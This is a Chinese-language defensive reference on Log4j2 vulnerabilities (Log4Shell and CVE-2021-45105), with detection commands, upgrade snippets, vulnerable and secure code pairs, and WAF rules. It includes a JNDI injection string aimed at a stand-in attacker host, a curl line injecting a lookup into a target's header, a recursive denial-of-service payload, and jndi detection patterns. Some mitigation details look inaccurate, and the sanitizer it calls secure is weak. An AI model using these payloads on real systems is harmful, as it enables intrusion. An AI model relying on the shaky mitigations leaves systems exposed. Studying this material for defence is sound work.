最后更新:2026-04-18
Apache Log4j2 是 Java 生态中最广泛使用的日志框架之一。2021 年 12 月披露的 Log4Shell(CVE-2021-44228)漏洞震惊了整个安全社区,该漏洞利用 Log4j2 的 JNDI Lookup 功能实现远程代码执行,影响范围极广,被称为”互联网级别的漏洞”。本文档整理 Log4j2 框架相关的安全问题。
| 属性 | 值 |
|---|---|
| CVE | CVE-2021-44228 |
| 影响版本 | Log4j2 2.0-beta9 ~ 2.14.1 |
| 严重程度 | 严重(CVSS 10.0) |
| 利用条件 | Log4j2 版本在受影响范围内,存在日志输出点 |
漏洞原理:Log4j2 支持通过 Lookups 机制在日志消息中解析特殊语法,其中 JNDI Lookup(${jndi:...})允许从 JNDI 目录服务获取数据。攻击者在用户输入中嵌入 ${jndi:ldap://attacker.com/exploit},当日志框架处理该字符串时,会触发 JNDI 连接,从攻击者控制的 LDAP/RMI 服务加载恶意类,从而实现远程代码执行。
攻击链路:
${jndi:ldap://attacker.com/exploit} 的请求常见注入点:
检测方法:
# 检测 Log4j2 版本
find / -name "log4j-core-*.jar" 2>/dev/null
# 使用检测工具
java -jar log4j-detector-2021.12.17.jar /path/to/scanner
# DNS 外带检测(需要 DNSLog 平台)
curl -H "X-Api-Version: ${jndi:ldap://xxx.dnslog.cn}" http://target/api
修复措施:
<!-- 升级 Log4j2 到安全版本 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.17.1</version>
</dependency>
# 临时缓解措施:设置 JVM 参数禁用 JNDI Lookup
# Log4j2 >= 2.10.0
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
# Log4j2 >= 2.7
log4j2.formatMsgNoLookups=true
| 属性 | 值 |
|---|---|
| CVE | CVE-2021-45105 |
| 影响版本 | Log4j2 2.0-beta9 ~ 2.16.0 |
| 严重程度 | 高危 |
| 利用条件 | Log4j2 版本在受影响范围内,存在日志输出点 |
漏洞原理:Log4j2 在处理递归 Lookup 时存在无限循环问题。当配置中使用上下文 Lookup(如 ${ctx:foo})且攻击者能控制 MDC(Mapped Diagnostic Context)数据时,可以构造 ${${::-${::-$${::-j}}}} 等递归表达式,导致 StackOverflowError,造成拒绝服务。
攻击示例:
GET /api HTTP/1.1
X-Forwarded-For: ${${::-${::-$${::-j}}}}
修复措施:
<!-- 升级 Log4j2 到 2.17.0+ -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version>
</dependency>
// [VULNERABLE] 用户输入直接传入日志方法,可能触发 JNDI 注入
@GetMapping("/search")
public String search(@RequestParam String query) {
logger.info("用户搜索: " + query);
return searchService.search(query);
}
// [SECURE] 对用户输入进行净化,移除 Lookup 触发字符
@GetMapping("/search")
public String search(@RequestParam String query) {
String sanitized = query.replaceAll("\\$\\{", "").replaceAll("}", "");
logger.info("用户搜索: {}", sanitized);
return searchService.search(query);
}
<!-- [VULNERABLE] 默认配置允许 JNDI Lookup -->
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
</Configuration>
<!-- [SECURE] 显式禁用 JNDI Lookup -->
<Configuration status="WARN">
<Properties>
<Property name="LOG4J_FORMAT_MSG_NO_LOOKUPS">true</Property>
</Properties>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"/>
</Console>
</Appenders>
</Configuration>
<!-- [VULNERABLE] 使用存在漏洞的旧版本 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- [SECURE] 使用安全版本 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version>
</dependency>
<!-- pom.xml -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version>
</dependency>
# application.properties - 禁用 JNDI Lookup
log4j2.formatMsgNoLookups=true
<!-- log4j2.xml - 安全配置示例 -->
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN" shutdownHook="disable">
<Properties>
<Property name="LOG_PATTERN">%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n</Property>
</Properties>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${LOG_PATTERN}"/>
</Console>
<RollingFile name="File" fileName="logs/app.log"
filePattern="logs/app-%d{yyyy-MM-dd}-%i.log">
<PatternLayout pattern="${LOG_PATTERN}"/>
<Policies>
<TimeBasedTriggeringPolicy/>
<SizeBasedTriggeringPolicy size="100MB"/>
</Policies>
<DefaultRolloverStrategy max="30"/>
</RollingFile>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
<AppenderRef ref="File"/>
</Root>
</Loggers>
</Configuration>
# 禁用 JNDI 远程类加载
JAVA_OPTS="$JAVA_OPTS -Dlog4j2.formatMsgNoLookups=true"
JAVA_OPTS="$JAVA_OPTS -Dcom.sun.jndi.ldap.object.trustURLCodebase=false"
JAVA_OPTS="$JAVA_OPTS -Dcom.sun.jndi.rmi.object.trustURLCodebase=false"
# 拦截常见 Log4j2 攻击模式
# 检测 ${jndi: 模式(含各种绕过变体)
SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS "@contains ${jndi:" "id:1001,phase:2,deny,status:403,msg:'Log4j JNDI Injection Attempt'"
SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS "@rx \$\{[^}]*jndi[^}]*\}" "id:1002,phase:2,deny,status:403,msg:'Log4j JNDI Injection Attempt (Obfuscated)'"